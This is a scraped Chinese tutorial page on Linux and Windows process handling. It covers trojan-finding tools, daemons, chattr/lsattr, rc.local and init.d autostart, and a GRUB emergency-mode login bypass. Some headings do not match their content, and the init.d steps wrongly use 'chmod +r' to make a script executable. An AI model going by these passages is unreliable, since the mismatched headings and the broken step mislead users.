(3)柳叶擦眼
它可以列出系统中所有的进程(包括隐藏的),并可以杀死进程,能自动标示出系统文件,自动中止基本进程外的所有进程,还具有IE保护功能。
运行软件后,单击“柳叶擦眼”可以显示当前正在运行的所有进程,你只需注意那些“定义级别”为“未知”及“危险”的进程,按“降妖伏魔”按钮关闭它们即可。
(4)系统查看大师1.0
目前许多木马都是在后台运行的,它们运行时会隐藏自己的窗口,因此你无法在屏幕上看到它们。该软件可以获取隐藏的不可见窗口,让你发现木马踪影、关闭之。
软件运行后,在左侧视图中点击“取不可见窗口”按钮,右侧的窗口中就会显示出所有当前运行的、隐藏的不可见窗口标题,选定其中的可疑窗口,然后点击右下端的“结束此窗口”按钮,即可关闭之。如果你要关闭某进程,可以单击“进程列表”按钮,选中该进程,然后右击鼠标在弹出的窗口中,单击“结束进程”即可。
⑷ LINUX后台进程与前台进程的区别
LINUX后台进程也叫守护进程(Daemon),是运行在后台的一种特殊进程。它独立于控制终端并且周期性地执行某种任务或等待处理某些发生的事件。
一般用作系统服务,可以用crontab提交,编辑或者删除相应得作业。
守护的意思就是不受终端控制。Linux的大多数服务器就是用守护进程实现的。比如,Internet服务器inetd,Web服务器httpd等。同时,守护进程完成许多系统任务。比如,作业规划进程crond,打印进程lpd等。
前台进程就是用户使用的有控制终端的进程
⑸ 在linux下如何实现进程的隐藏
要实现Linux下的文件隐藏是很麻烦的,郁闷阿!下面的方法不一定可用,你还是用点吧。
大部分属性在文件系统的安全管理方面起很重要的作用。关于以上属性的详细描述请兄弟们查阅chattr的在线帮助man,注意多数属性须要由root来施加。
通过chattr设置档案的隐藏权限!
[root]#chattr --help
Usage: chattr [-RV] [-+=AacDdijsSu] [-v version] files...
参数或选项描述:
-R:递归处理,将指定目录下的所有文件及子目录一并处理。
-V:显示详细过程有版本编号。
-v:设定文件或目录版本(version)。
+ :在原有参数设定基础上,追加参数。
- :在原有参数设定基础上,移除参数。
= :更新为指定参数设定。
A:文件或目录的 atime (access time)不可被修改(modified), 可以有效预防例如手提电脑磁盘I/O错误的发生。
S:硬盘I/O同步选项,功能类似sync。
a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文 件安全,只有root才能设定这个属性。
c:即compresse,设定文件是否经压缩后再存储。读取时需要经过自动解压操作。
d:即no mp,设定文件不能成为mp程序的备份目标。
i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
j:即journal,设定此参数使得当通过mount参数:data=ordered 或者 data=writeback 挂 载的文件系统,文件在写入时会先被记录(在journal中)。如果filesystem被设定参数为 data=journal,则该参数自动失效。
s:保密性地删除文件或目录,即硬盘空间被全部收回。
u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion.
各参数选项中常用到的是a和i。a选项强制只可添加不可删除,多用于日志系统的安全设定。而i是更为严格的安全设定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE处理能力(标识)的进程能够施加该选项。我们来举一个例子:
[root]#touch chattr_test
[root]#chattr +i chattr_test
[root]#rm chattr_test
rm: remove write-protected regular empty file `chattr_test`? y
rm: cannot remove `chattr_test`: Operation not permitted
呵,此时连root本身都不能直接进行删除操作,必须先去除i设置后再删除。
chattr命令的在线帮助详细描述了各参数选项的适用范围及bug提示,使用时建议兄弟们仔细查阅。由于上述的这些属性是隐藏的,查看时需要使用lsattr命令,以下简述之。
lsattr命令格式:
[root]#lsattr [-RVadlv] [files...]
参数或选项说明:
-R:递归列示目录及文件属性。
-V:显示程序版本号。
-a:显示所有文件属性,包括隐藏文件(.)、当时目录(./)及上层目录(../)。
-d:仅列示目录属性。
-l:(此参数目前没有任何作用)。
-v:显示文件或目录版本。
例:
[root]#chattr +aij lsattr_test
[root]#lsattr
----ia---j--- ./lsattr_test
参考资料:我想知道网
⑹ linux开机自启动,如何跳过开机动画
某个程序方便后续的管理;那么我们如何在开机时候,运行此账户安装的程序呢?例如:以linux下指定mycount用户在linux开机时执行/home/sun/startXX.sh为例:
以root登录linux
执行vi /etc/rc.d/rc.local
在文档末尾添加一行语句:su – mycount -c “/home/sun/startXX.sh”
保存rc.local即可。
这个地方一定要注意 su – 这个是环境的变量也会做相应的转换;如果环境变量没有改变的话,我们用su 就可以了。
二、
在Linux中以普通用户开机自动运行脚本程序
测试环境:CentOS6.5
管理员:root
普通用户:test1
实现目标:在Linux启动时,以普通用户test1自动运行位于根目录下的脚本程序test.py,该程序会在每次执行时自动向本地日志文件追加一条记录,源码如下:
from datetime import datetime
now=datetime.now()
f=open(‘test.log’,’a’)
f.write(‘%s ‘%now)
f.close()
Linux在启动时,会自动执行/etc/rc.d目录下的初始化程序,因此我们可以把启动任务放到该目录下,有两种办法:
方案一:
1、因为其中的rc.local是在完成所有初始化之后执行,因此我们可以把启动脚本写到里面
2、用root账号登陆Linux,vi /etc/rc.d/rc.local编辑文件,在最后加入两行需要执行的脚本程序:
cd /home/test1 –该步不可少,否则会提示没有权限打开’test.log’文件
su test1 -c “python /home/test1/test.py” –把要执行的命令作为一个参数传递级su
方案二:
1、init.d目录下都为可执行程序,他们其实是服务脚本,按照一定格式编写,Linux 在启动时会自动执行,类似Windows下的服务
2、用root帐号登录,vi /etc/rc.d/init.d/mystart,追加如下内容:
复制代码
#!/bin/bash
#chkconfig:2345 80 05 –指定在哪几个级别执行,0一般指关机,
6指的是重启,其他为正常启动。80为启动的优先级,05为关闭的优先机
#description:mystart service
RETVAL=0
start(){ –启动服务的入口函数
echo -n “mystart serive …”
cd /home/test1
su test1 -c “python /home/test1/test.py”
}
stop(){ –关闭服务的入口函数
echo “mystart service is stoped…”
}
case $1 in –使用case,可以进行交互式操作
start)
start
;;
stop)
stop
;;
esac
exit $RETVAL
复制代码
3、运行chmod +r /etc/rc.d/init.d/mystart,使之可直接执行
4、运行chkconfig –add mystart,把该服务添加到配置当中
5、运行chkconfig –list mystart,可以查看该服务进程的状态
总结:
两种方案的的核心都是切换用户到test1,然后执行命令启动Python程序,做成服务的好处是可以定义多个交互命令,比如:start,stop,restart,reset…,在服务运行的过程中还可以做相应操作。最开始的时候,我按照一般的思路写了如下脚本,却怎么也执行不了:
su test1 –切换到test1用户
cd /home/test1 –切换到根目录
python test.py –执行python程序
exit –退出test1帐号
看起来好象一切都没错,但是发现只运行了第一行的命令,后面的都没有运行,直到退出test1用户后才发现好象执行完毕。分析原因,是因为Linux启动的时候是在root帐号下,执行su test1等于打开了一个新的shell脚本,因此下面的代码都在等着新的Shell脚本结束才能运行,就象在主程序里调用了一个子程序,而子程序是个死循环,一下出来来结果下面的要等死了。知道了发生的原因,那么解决的办法就相对简单了,就是在执行上述脚本程序时,不要离开本身的Shell。我们可以把执行命令做为su的一个参数传递进去,因为没有涉及到打开新的Shell,因此可以正常执行你期望的脚本程序,顺利实现开机自动启动指定的脚本程序。
执行方案中重要的一个命令是:
[root@localhost ~]# whoami
root
[root@localhost ~]# su – keysystem -c “whoami”
keysystem
[root@localhost ~]#
以keysystem用户执行whoami的命令:
[root@localhost ~]# su – keysystem -c “whoami”
文章知识点与官方知识档案匹配
CS入门技能树Linux入门初识Linux
23840 人正在系统学习中
打开CSDN,阅读体验更佳
Linux中没有rc.local文件的完美解决方法
主要介绍了Linux中没有rc.local文件的解决方法,本文给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
最新发布 linux 开机自启用非root启动
就会用djq用户执行mkdir -p /home/djq/222命令。linux 开机自启用非root启动。
继续访问
linux开机自动执行命令或自动启动程序(rc.local)
linux开机的最后会执行/etc/rc.local,因此可以在此脚本里面添加shell命令自动执行或者自动启动某个进程。 比如 自动输出信息: #!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In
继续访问
跳过网络启动 linux,Linux启动时如何跳过fsck
在Linux里,如果一个文件系统被mount过一定次数后,或者距离上次fsck超过一定天数,当系统重起时就会自动fsck。根据文件系统的大小,fsck可能需要几分钟甚至几个小时。隔一段时间作一次fsck是很有必要的,但是如果你不想花费时间fsck,你也可以用如下几种方法跳过fsck:1. 修改/etc/fstab在/etc/fstab里, 最后一列是系统启动时fsck的顺序。 文件系统 / 应该设...
继续访问
linux 查看root 进程,Linux查看非root运行的进程
Linux查看非root运行的进程youhaidong@youhaidong-ThinkPad-Edge-E545:~$ ps -U root -u root -NPID TTY TIME CMD663 ? 00:00:00 dbus-daemon713 ? 00:00:00 rsyslogd730 ? 00:00:00 avahi-da...
继续访问
linux上使用非root账户启动运行java程序
事情是这样的、、、、、、、 公司的app后台程序是java的,在linux上运行时要求必须使用非root账户,例如使用app用户启动java程序。这次运维有事请假了,所以这个小任务就交给我了,多大的事情啊,这还不是分分钟搞定的啊。 好了一步步的开始。 第一步:创建mobile账户和组 groupadd app useradd -d /usr/app -g app app 第二步:搭建...
继续访问
linux用其他账号停进程,Linux系统上对其他用户隐藏进程的简单方法
我使用的是多用户系统,大部分的用户通过ssh客户端访问他们的资源。我如何(怎么样)避免泄露进程信息给他们?如何(怎么样)在Debian/Ubuntu/RHEL/CentOS linux服务器器上阻止/避免他们看到不属于他们的进程?对linux上的其他用户隐藏进程的方法解决方法/方案:如果你使用的linux kernel(内核)是3.2以上的版本(或者使用的RHEL/CentOS是6.5以上的版本)...
继续访问
转:linux开机自动运行
实现目标:在Linux启动时,自动运行位于普通用户test1根目录下的脚本程序test.py,该程序会在每次执行时自动向本地日志文件追加一条记录,源码如下: from datetime import datetime now=datetime.now() f=open('test.log','a') f.write('%s '%now...
继续访问
跳过开机向导
跳过开机向导
继续访问
linux系统rc.local错误,Linux开机启动文件rc.local无法执行的解决方法
众所周知,rc.local是Linux系统中的一个重要的开机启动文件,每次开机都要执行这个文件。但最近很多用户表示系统无法执行这个问题件,从而导致了一系列的问题出现,这是怎么回事呢?如何解决这个问题呢?下面,跟随小编一起来看看Linux开机启动文件rc.local无法执行的解决方法。Linux系统在Linux系统中,有一个重要的开机自动启动脚本文件:/etc/rc.local---》/etc/rc...
继续访问
rc.local出错影响ubuntu正常启动,跳过执行rc.local
通过进入单用户模式,跳过rc.local
继续访问
Linux开机启动,设置rc.local失效解决方案
在/etc/rc.local文件夹下,添加要执行的命令,如/sbin/ifconfig docker0 mtu 1454 注意这里要使用绝对路径/sbin/ifconfig 如果开机发现执行失败,则需要在上一行添加sleep 10 由于ifconfig服务不一定在rc.local之前启动,所以让系统等待十秒hours在执行sleep 10 /sbin/ifconfig docker0 mtu 14
继续访问
Linux系统跳过密码登录
一、引导系统 RHEL7的标准引导系统是GRUB2,RHEL6默认使用GRUB1,这里主要讲GRUB2。 在Linux系统开机选择内核时,按下e进入内核引导参数的编辑菜单,找到以linux16开头的一行,在行末添加更多的命令。例如,在行末尾添加system.unit=emergency.target,然后按Ctrl+X,则系统将会以紧急目标模式启动。 如果在系统引导到GUI环境中出现问题,可以在内核命令行末尾加入system.unit=multi-user.target,若引导成功,则会登录到命令行模
继续访问
rc.local使用非root用户
su -aaa-c "/data/tomcat/bin/startup.sh"
继续访问
Linux设置非root用户启动程序
Linux设置非root用户启动程序
继续访问
开机自启动非root用户的服务
设置非root用户的服务开机自启动 比如:chkconfig mysql on 是无效的 可以这样设置: 在root用户下 vi /etc/rc.local 或者 vi /etc/rc.d/rc.local 在最后一行加上 su - mysqladmin -c "/usr/local/mysql/startMysql.sh" 其中mysqladmin是管理mysql的用户, "/usr/loc...
继续访问
linux非root用户打开80,Linux非root用户如何使用80端口启动程序
默认情况下Linux的1024以下端口是只有root用户才有权限占用,我们的tomcat,apache,nginx等等程序如果想要用普通用户来占用80端口的话就会抛出java.net.BindException: Permission denied:80的异常。bind时perror提示错误信息:permission denied解决办法有两种:1.使用非80端口启动程序,然后再用iptables...
继续访问
Linux在任意目录下执行指定的脚本
前言 我有个脚本,我只能在脚本所在的文件夹下面运行,这样的话很不方便,如果我去了别的目录下面的话,我就无法运行这个脚本了… 解决 在profile中设置PATH, 假如我想给 xcall 脚本设置能让在任意的目录下去运行, 此时xcall在/root/soft/script 目录下. 编辑环境变量 [root@zjj101 etc]# cd /etc [root@zjj101 etc]# vim profile # 上面省略........ export HIVE_HOME=/root/soft/hive
继续访问
Linux系统启动过程分析
经过对Linux系统有了一定了解和熟悉后,想对其更深层次的东西做进一步探究。这当中就包括系统的启动流程、文件系统的组成结构、基于动态库和静态库的程序在执行时的异同、协议栈的架构和原理、驱动程序的机制等等。 本人在综合了现有网上大家智慧的基础上,结合对2.6.32的内核代码的研读,基于CentOS 6.0系统对Linux的启动流程做了些分析。由于才疏学浅,知...
继续访问
linux跳过开机启动项
⑺ linux操作系统lsof good.txt命令不显示进程
因为你编辑的并不是good.txt。而是你vi 的那个当前目录下隐藏的.good.txt.swp文件。
vi 并不会直接修改当前文件,而是先生成一个临时文件让你编辑,当你编辑完以后
比如输入:w 才会写回good.txt文件。